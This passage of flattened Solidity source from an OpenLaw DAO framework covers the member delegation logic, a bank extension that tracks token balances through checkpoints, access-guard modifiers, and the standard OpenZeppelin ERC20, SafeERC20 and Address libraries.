return getFlag(members[memberAddress].flags, uint8(flag));
}
function getNbMembers() public view returns (uint256) {
return _members.length;
}
function getMemberAddress(uint256 index) public view returns (address) {
return _members[index];
}
/**
* @notice Updates the delegate key of a member
* @param memberAddr The member doing the delegation
* @param newDelegateKey The member who is being delegated to
*/
function updateDelegateKey(address memberAddr, address newDelegateKey)
external
hasAccess(this, AclFlag.UPDATE_DELEGATE_KEY)
{
require(newDelegateKey != address(0x0), "newDelegateKey cannot be 0");
// skip checks if member is setting the delegate key to their member address
if (newDelegateKey != memberAddr) {
require(
// newDelegate must not be delegated to
memberAddressesByDelegatedKey[newDelegateKey] == address(0x0),
"cannot overwrite existing delegated keys"
);
} else {
require(
memberAddressesByDelegatedKey[memberAddr] == address(0x0),
"address already taken as delegated key"
);
}
Member storage member = members[memberAddr];
require(
getFlag(member.flags, uint8(MemberFlag.EXISTS)),
"member does not exist"
);
// Reset the delegation of the previous delegate
memberAddressesByDelegatedKey[
getCurrentDelegateKey(memberAddr)
] = address(0x0);
memberAddressesByDelegatedKey[newDelegateKey] = memberAddr;
_createNewDelegateCheckpoint(memberAddr, newDelegateKey);
emit UpdateDelegateKey(memberAddr, newDelegateKey);
}
/**
* Public read-only functions
*/
/**
* @param checkAddr The address to check for a delegate
* @return the delegated address or the checked address if it is not a delegate
*/
function getAddressIfDelegated(address checkAddr)
public
view
returns (address)
{
address delegatedKey = memberAddressesByDelegatedKey[checkAddr];
return delegatedKey == address(0x0) ? checkAddr : delegatedKey;
}
/**
* @param memberAddr The member whose delegate will be returned
* @return the delegate key at the current time for a member
*/
function getCurrentDelegateKey(address memberAddr)
public
view
returns (address)
{
uint32 nCheckpoints = numCheckpoints[memberAddr];
return
nCheckpoints > 0
? checkpoints[memberAddr][nCheckpoints - 1].delegateKey
: memberAddr;
}
/**
* @param memberAddr The member address to look up
* @return The delegate key address for memberAddr at the second last checkpoint number
*/
function getPreviousDelegateKey(address memberAddr)
public
view
returns (address)
{
uint32 nCheckpoints = numCheckpoints[memberAddr];
return
nCheckpoints > 1
? checkpoints[memberAddr][nCheckpoints - 2].delegateKey
: memberAddr;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param memberAddr The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorDelegateKey(address memberAddr, uint256 blockNumber)
external
view
returns (address)
{
require(
blockNumber < block.number,
"Uni::getPriorDelegateKey: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[memberAddr];
if (nCheckpoints == 0) {
return memberAddr;
}
// First check most recent balance
if (
checkpoints[memberAddr][nCheckpoints - 1].fromBlock <= blockNumber
) {
return checkpoints[memberAddr][nCheckpoints - 1].delegateKey;
}
// Next check implicit zero balance
if (checkpoints[memberAddr][0].fromBlock > blockNumber) {
return memberAddr;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
DelegateCheckpoint memory cp = checkpoints[memberAddr][center];
if (cp.fromBlock == blockNumber) {
return cp.delegateKey;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[memberAddr][lower].delegateKey;
}
/**
* @notice Creates a new delegate checkpoint of a certain member
* @param member The member whose delegate checkpoints will be added to
* @param newDelegateKey The delegate key that will be written into the new checkpoint
*/
function _createNewDelegateCheckpoint(
address member,
address newDelegateKey
) internal {
uint32 nCheckpoints = numCheckpoints[member];
if (
nCheckpoints > 0 &&
checkpoints[member][nCheckpoints - 1].fromBlock == block.number
) {
checkpoints[member][nCheckpoints - 1].delegateKey = newDelegateKey;
} else {
checkpoints[member][nCheckpoints] = DelegateCheckpoint(
uint96(block.number),
newDelegateKey
);
numCheckpoints[member] = nCheckpoints + 1;
}
}
}
pragma solidity ^0.8.0;
import "../core/DaoRegistry.sol";
// SPDX-License-Identifier: MIT
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
interface IExtension {
function initialize(DaoRegistry dao, address creator) external;
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "../../core/DaoConstants.sol";
import "../../core/DaoRegistry.sol";
import "../IExtension.sol";
import "../../guards/AdapterGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
contract BankExtension is DaoConstants, AdapterGuard, IExtension {
using Address for address payable;
using SafeERC20 for IERC20;
uint8 public maxExternalTokens; // the maximum number of external tokens that can be stored in the bank
bool public initialized = false; // internally tracks deployment under eip-1167 proxy pattern
DaoRegistry public dao;
enum AclFlag {
ADD_TO_BALANCE,
SUB_FROM_BALANCE,
INTERNAL_TRANSFER,
WITHDRAW,
EXECUTE,
REGISTER_NEW_TOKEN,
REGISTER_NEW_INTERNAL_TOKEN,
UPDATE_TOKEN
}
modifier noProposal() {
require(dao.lockedAt() < block.number, "proposal lock");
_;
}
/// @dev - Events for Bank
event NewBalance(address member, address tokenAddr, uint160 amount);
event Withdraw(address account, address tokenAddr, uint160 amount);
/*
* STRUCTURES
*/
struct Checkpoint {
// A checkpoint for marking number of votes from a given block
uint96 fromBlock;
uint160 amount;
}
address[] public tokens;
address[] public internalTokens;
// tokenAddress => availability
mapping(address => bool) public availableTokens;
mapping(address => bool) public availableInternalTokens;
// tokenAddress => memberAddress => checkpointNum => Checkpoint
mapping(address => mapping(address => mapping(uint32 => Checkpoint)))
public checkpoints;
// tokenAddress => memberAddress => numCheckpoints
mapping(address => mapping(address => uint32)) public numCheckpoints;
/// @notice Clonable contract must have an empty constructor
// constructor() {
// }
modifier hasExtensionAccess(AclFlag flag) {
require(
address(this) == msg.sender ||
address(dao) == msg.sender ||
dao.state() == DaoRegistry.DaoState.CREATION ||
dao.hasAdapterAccessToExtension(
msg.sender,
address(this),
uint8(flag)
),
"bank::accessDenied"
);
_;
}
/**
* @notice Initialises the DAO
* @dev Involves initialising available tokens, checkpoints, and membership of creator
* @dev Can only be called once
* @param creator The DAO's creator, who will be an initial member
*/
function initialize(DaoRegistry _dao, address creator) external override {
require(!initialized, "bank already initialized");
require(_dao.isMember(creator), "bank::not member");
dao = _dao;
initialized = true;
availableInternalTokens[UNITS] = true;
internalTokens.push(UNITS);
availableInternalTokens[MEMBER_COUNT] = true;
internalTokens.push(MEMBER_COUNT);
uint256 nbMembers = _dao.getNbMembers();
for (uint256 i = 0; i < nbMembers; i++) {
addToBalance(_dao.getMemberAddress(i), MEMBER_COUNT, 1);
}
_createNewAmountCheckpoint(creator, UNITS, 1);
_createNewAmountCheckpoint(TOTAL, UNITS, 1);
}
function withdraw(
address payable member,
address tokenAddr,
uint256 amount
) external hasExtensionAccess(AclFlag.WITHDRAW) {
require(
balanceOf(member, tokenAddr) >= amount,
"bank::withdraw::not enough funds"
);
subtractFromBalance(member, tokenAddr, amount);
if (tokenAddr == ETH_TOKEN) {
member.sendValue(amount);
} else {
IERC20 erc20 = IERC20(tokenAddr);
erc20.safeTransfer(member, amount);
}
emit Withdraw(member, tokenAddr, uint160(amount));
}
/**
* @return Whether or not the given token is an available internal token in the bank
* @param token The address of the token to look up
*/
function isInternalToken(address token) external view returns (bool) {
return availableInternalTokens[token];
}
/**
* @return Whether or not the given token is an available token in the bank
* @param token The address of the token to look up
*/
function isTokenAllowed(address token) public view returns (bool) {
return availableTokens[token];
}
/**
* @notice Sets the maximum amount of external tokens allowed in the bank
* @param maxTokens The maximum amount of token allowed
*/
function setMaxExternalTokens(uint8 maxTokens) external {
require(!initialized, "bank already initialized");
require(
maxTokens > 0 && maxTokens <= MAX_TOKENS_GUILD_BANK,
"max number of external tokens should be (0,200)"
);
maxExternalTokens = maxTokens;
}
/*
* BANK
*/
/**
* @notice Registers a potential new token in the bank
* @dev Can not be a reserved token or an available internal token
* @param token The address of the token
*/
function registerPotentialNewToken(address token)
external
hasExtensionAccess(AclFlag.REGISTER_NEW_TOKEN)
{
require(isNotReservedAddress(token), "reservedToken");
require(!availableInternalTokens[token], "internalToken");
require(
tokens.length <= maxExternalTokens,
"exceeds the maximum tokens allowed"
);
if (!availableTokens[token]) {
availableTokens[token] = true;
tokens.push(token);
}
}
/**
* @notice Registers a potential new internal token in the bank
* @dev Can not be a reserved token or an available token
* @param token The address of the token
*/
function registerPotentialNewInternalToken(address token)
external
hasExtensionAccess(AclFlag.REGISTER_NEW_INTERNAL_TOKEN)
{
require(isNotReservedAddress(token), "reservedToken");
require(!availableTokens[token], "availableToken");
if (!availableInternalTokens[token]) {
availableInternalTokens[token] = true;
internalTokens.push(token);
}
}
function updateToken(address tokenAddr)
external
hasExtensionAccess(AclFlag.UPDATE_TOKEN)
{
require(isTokenAllowed(tokenAddr), "token not allowed");
uint256 totalBalance = balanceOf(TOTAL, tokenAddr);
uint256 realBalance;
if (tokenAddr == ETH_TOKEN) {
realBalance = address(this).balance;
} else {
IERC20 erc20 = IERC20(tokenAddr);
realBalance = erc20.balanceOf(address(this));
}
if (totalBalance < realBalance) {
addToBalance(GUILD, tokenAddr, realBalance - totalBalance);
} else if (totalBalance > realBalance) {
uint256 tokensToRemove = totalBalance - realBalance;
uint256 guildBalance = balanceOf(GUILD, tokenAddr);
if (guildBalance > tokensToRemove) {
subtractFromBalance(GUILD, tokenAddr, tokensToRemove);
} else {
subtractFromBalance(GUILD, tokenAddr, guildBalance);
}
}
}
/**
* Public read-only functions
*/
/**
* Internal bookkeeping
*/
/**
* @return The token from the bank of a given index
* @param index The index to look up in the bank's tokens
*/
function getToken(uint256 index) external view returns (address) {
return tokens[index];
}
/**
* @return The amount of token addresses in the bank
*/
function nbTokens() external view returns (uint256) {
return tokens.length;
}
/**
* @return All the tokens registered in the bank.
*/
function getTokens() external view returns (address[] memory) {
return tokens;
}
/**
* @return The internal token at a given index
* @param index The index to look up in the bank's array of internal tokens
*/
function getInternalToken(uint256 index) external view returns (address) {
return internalTokens[index];
}
/**
* @return The amount of internal token addresses in the bank
*/
function nbInternalTokens() external view returns (uint256) {
return internalTokens.length;
}
/**
* @notice Adds to a member's balance of a given token
* @param member The member whose balance will be updated
* @param token The token to update
* @param amount The new balance
*/
function addToBalance(
address member,
address token,
uint256 amount
) public payable hasExtensionAccess(AclFlag.ADD_TO_BALANCE) {
require(
availableTokens[token] || availableInternalTokens[token],
"unknown token address"
);
uint256 newAmount = balanceOf(member, token) + amount;
uint256 newTotalAmount = balanceOf(TOTAL, token) + amount;
_createNewAmountCheckpoint(member, token, newAmount);
_createNewAmountCheckpoint(TOTAL, token, newTotalAmount);
}
/**
* @notice Remove from a member's balance of a given token
* @param member The member whose balance will be updated
* @param token The token to update
* @param amount The new balance
*/
function subtractFromBalance(
address member,
address token,
uint256 amount
) public hasExtensionAccess(AclFlag.SUB_FROM_BALANCE) {
uint256 newAmount = balanceOf(member, token) - amount;
uint256 newTotalAmount = balanceOf(TOTAL, token) - amount;
_createNewAmountCheckpoint(member, token, newAmount);
_createNewAmountCheckpoint(TOTAL, token, newTotalAmount);
}
/**
* @notice Make an internal token transfer
* @param from The member who is sending tokens
* @param to The member who is receiving tokens
* @param amount The new amount to transfer
*/
function internalTransfer(
address from,
address to,
address token,
uint256 amount
) public hasExtensionAccess(AclFlag.INTERNAL_TRANSFER) {
uint256 newAmount = balanceOf(from, token) - amount;
uint256 newAmount2 = balanceOf(to, token) + amount;
_createNewAmountCheckpoint(from, token, newAmount);
_createNewAmountCheckpoint(to, token, newAmount2);
}
/**
* @notice Returns an member's balance of a given token
* @param member The address to look up
* @param tokenAddr The token where the member's balance of which will be returned
* @return The amount in account's tokenAddr balance
*/
function balanceOf(address member, address tokenAddr)
public
view
returns (uint160)
{
uint32 nCheckpoints = numCheckpoints[tokenAddr][member];
return
nCheckpoints > 0
? checkpoints[tokenAddr][member][nCheckpoints - 1].amount
: 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorAmount(
address account,
address tokenAddr,
uint256 blockNumber
) external view returns (uint256) {
require(
blockNumber < block.number,
"Uni::getPriorAmount: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[tokenAddr][account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (
checkpoints[tokenAddr][account][nCheckpoints - 1].fromBlock <=
blockNumber
) {
return checkpoints[tokenAddr][account][nCheckpoints - 1].amount;
}
// Next check implicit zero balance
if (checkpoints[tokenAddr][account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[tokenAddr][account][center];
if (cp.fromBlock == blockNumber) {
return cp.amount;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[tokenAddr][account][lower].amount;
}
/**
* @notice Creates a new amount checkpoint for a token of a certain member
* @dev Reverts if the amount is greater than 2**64-1
* @param member The member whose checkpoints will be added to
* @param token The token of which the balance will be changed
* @param amount The amount to be written into the new checkpoint
*/
function _createNewAmountCheckpoint(
address member,
address token,
uint256 amount
) internal {
bool isValidToken = false;
if (availableInternalTokens[token]) {
require(
amount < type(uint88).max,
"token amount exceeds the maximum limit for internal tokens"
);
isValidToken = true;
} else if (availableTokens[token]) {
require(
amount < type(uint160).max,
"token amount exceeds the maximum limit for external tokens"
);
isValidToken = true;
}
uint160 newAmount = uint160(amount);
require(isValidToken, "token not registered");
uint32 nCheckpoints = numCheckpoints[token][member];
if (
nCheckpoints > 0 &&
checkpoints[token][member][nCheckpoints - 1].fromBlock ==
block.number
) {
checkpoints[token][member][nCheckpoints - 1].amount = newAmount;
} else {
checkpoints[token][member][nCheckpoints] = Checkpoint(
uint96(block.number),
newAmount
);
numCheckpoints[token][member] = nCheckpoints + 1;
}
emit NewBalance(member, token, newAmount);
}
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "../core/DaoRegistry.sol";
import "../extensions/IExtension.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
abstract contract AdapterGuard {
/**
* @dev Only registered adapters are allowed to execute the function call.
*/
modifier onlyAdapter(DaoRegistry dao) {
require(
(dao.state() == DaoRegistry.DaoState.CREATION &&
creationModeCheck(dao)) || dao.isAdapter(msg.sender),
"onlyAdapter"
);
_;
}
modifier reentrancyGuard(DaoRegistry dao) {
require(dao.lockedAt() != block.number, "reentrancy guard");
dao.lockSession();
_;
dao.unlockSession();
}
modifier executorFunc(DaoRegistry dao) {
address executorAddr = dao.getExtensionAddress(
keccak256("executor-ext")
);
require(address(this) == executorAddr, "only callable by the executor");
_;
}
modifier hasAccess(DaoRegistry dao, DaoRegistry.AclFlag flag) {
require(
(dao.state() == DaoRegistry.DaoState.CREATION &&
creationModeCheck(dao)) ||
dao.hasAdapterAccess(msg.sender, flag),
"accessDenied"
);
_;
}
function creationModeCheck(DaoRegistry dao) internal view returns (bool) {
return
dao.getNbMembers() == 0 ||
dao.isMember(msg.sender) ||
dao.isAdapter(msg.sender);
}
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "../core/DaoRegistry.sol";
import "../extensions/bank/Bank.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
abstract contract MemberGuard is DaoConstants {
/**
* @dev Only members of the DAO are allowed to execute the function call.
*/
modifier onlyMember(DaoRegistry dao) {
_onlyMember(dao, msg.sender);
_;
}
modifier onlyMember2(DaoRegistry dao, address _addr) {
_onlyMember(dao, _addr);
_;
}
function _onlyMember(DaoRegistry dao, address _addr) internal view {
require(isActiveMember(dao, _addr), "onlyMember");
}
function isActiveMember(DaoRegistry dao, address _addr)
public
view
returns (bool)
{
address bankAddress = dao.extensions(BANK);
if (bankAddress != address(0x0)) {
address memberAddr = dao.getAddressIfDelegated(_addr);
return BankExtension(bankAddress).balanceOf(memberAddr, UNITS) > 0;
}
return dao.isMember(_addr);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
